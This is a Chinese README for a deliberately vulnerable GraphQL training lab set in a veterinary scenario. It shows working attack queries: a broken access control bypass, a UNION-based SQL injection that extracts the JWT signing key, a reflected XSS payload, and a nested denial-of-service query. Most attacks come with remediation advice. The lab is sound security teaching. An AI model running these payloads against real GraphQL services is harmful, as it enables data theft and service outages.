已创建了一个实验室来研究不同的问题,该实验室以兽医管理狗狗健康的场景为背景。
实验室使用 IntelliJ IDEA Community Edition 开发。
使用的域名如下:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
以下是实验室的条件和假设:
* 一位兽医可以关联 0 或 N 条狗。
* 一条狗可以关联 0 或 1 位兽医。
* 兽医有一个名为 **Popularity** 的属性,存在于存储系统(数据库)中,但 GraphQL 客户端不得访问它,因为它是敏感信息。
* GraphQL 数据消费视角是兽医。狗的信息是公开的。
* 实验室明确是一个存在漏洞的应用程序,其中实现了多个漏洞,并通过注释中的 `[VULN]` 标记进行标识。
* 关于认证,实现了一个虚假的第三方服务(通过 servlet),返回包含兽医名称的 JWT 令牌。
通过项目中的启动配置或命令行 `mvn spring-boot:run` 启动后,实验室可在以下端点访问:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
要打包应用程序为可移植的 jar 文件,请使用命令 `mvn package`(预构建的 jar 文件可在[此处](https://github.com/righettod/poc-graphql/releases)获取):
* jar 文件将创建在 *target* 文件夹中,并命名为 *graphql-poc.jar*。
* 使用命令 `java -jar graphql-poc.jar` 运行应用程序。
## 在 Docker 上部署
> 镜像每天发布在 [DockerHub](https://hub.docker.com/r/righettod/poc-graphql) 上
为了在 docker 容器中部署应用程序,请按照以下步骤操作:
1. 确保已安装 `docker`。
2. `git clone` 该仓库。
3. 切换到克隆的目录。
4. 使用 `docker build -t poc-graphql .` 构建 Docker 镜像。
5. 现在,一个名为 **poc-graphql:latest** 的镜像已在您的机器上创建。
6. 使用 `docker run -p 8080:8080 poc-graphql:latest` 运行容器。
7. 使用以下端点访问实验室:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## 安全弱点
### 授权
*访问控制失效*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### 问题
由于 GraphQL 基于单个端点,所有请求都发送到该端点,并且授权不在规范的范围内(没有内置功能)。
因此,由应用程序来实现授权逻辑。
在我的实验室中,这一点存在漏洞,因为访问令牌的验证并未验证该令牌是否属于在 **veterinaryId** 中传递的兽医。
**示例:**
我为存储中标识符为 **3** 的 **Dr Julien** 请求访问令牌,通过发送以下 GraphQL 请求:```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
我在以下GraphQL响应中接收到访问令牌:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
我使用获取的访问令牌向 `myInfo(...)` 查询发送一个 GraphQL 请求,但指定了标识符 **2**,即 **Dr Benoit** 的标识符:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
我在 GraphQL 响应中接收到与 Dr Benoit 关联的狗列表:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### Reco
使用 GraphQL 后,我们从基于 `角色 x 功能` 的授权矩阵转向了基于 `角色 x 数据` 的数据级安全,因为现在只有一个端点。用户身份和角色必须传递给负责获取(或操作)数据的顶层,以便在获取数据之前利用用户身份进行验证。
### 注入
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### 问题
根据 GraphQL 服务器如何利用来自 GraphQL 请求(查询/变更/订阅)的信息来对数据存储进行操作,存在注入的可能性。
在我的实验室中,我在 `dogs(namePrefix: String, limit: Int = 500): [Dog!]` 查询中发现了一个 SQL 注入漏洞,因为参数 **namePrefix** 被用于字符串拼接以构建 SQL 查询。
**示例:**
我发送以下 GraphQL 请求以列出 `CONFIG` 表的内容。```javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
我在 GraphQL 响应中接收到了用于签名 JWT 令牌的密钥,以及名字以 ab 开头的狗的名字:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
关于XSS,有趣的是,当请求发送的验证失败时,GraphQL响应会反射出所发送的参数。
**示例:**
我向查询 `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary` 发送此GraphQL请求,我将Veterinary标识符(一个整数)替换为一个字符串XSS载荷:```javascript
query xss {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
}
我收到这个 GraphQL 响应,它反射了我的 payload,因此,根据 GraphQL 客户端及其转义/清理行为,它可能为 XSS 打开大门:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }
#### Reco
* 对通过 Query/Mutation/Subscription 接收的数据在使用前进行输入验证
* 确保渲染来自 GraphQL 响应的数据的客户端在渲染前对数据进行转义/清理。
### 资源耗尽
[CWE-400](https://cwe.mitre.org/data/definitions/400.html)
#### 问题
由于客户端控制请求的数据量,它可以发送一个 GraphQL 请求,该请求会导致 GraphQL 服务器调用的存储资源耗尽,同时 GraphQL 服务器本身在将数据序列化为 JSON 时也会出现资源耗尽。
此问题也可能通过 mutation 发生,即在参数中发送大量数据(可在此处使用输入验证来防止此类攻击)。
此问题也可能通过 subscription 发生,方式如下:
* 在暴露的每个订阅上注册大量订阅者。
* 在订阅使用的参数中发送大量数据。
在我的实验室中,我在查询方面存在漏洞,特别是查询 `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]`,该查询对匿名用户可用,并检索数据库中关于狗的内容。由于狗与兽医之间存在关系,反之亦然,因此可以进行级联调用,导致数据库在 SQL 级别出现资源耗尽。
**示例:**
当我发送此请求时,我的 CPU 会达到 100% 持续几分钟,而我的数据库是本地的,因为它是 SQLite。```javascript
query dos {
allDogs(onlyFree: false, limit: 1000000) {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
}
}
}
}
}
}
}
}
}
}
}
}

对于查询: 根据所使用的 GraphQL 服务器实现,使用内置的保护机制来限制 最大查询深度 和 查询复杂度(参见规范)。
对于 Java 实现,将以下两个仪表化类添加到执行策略中: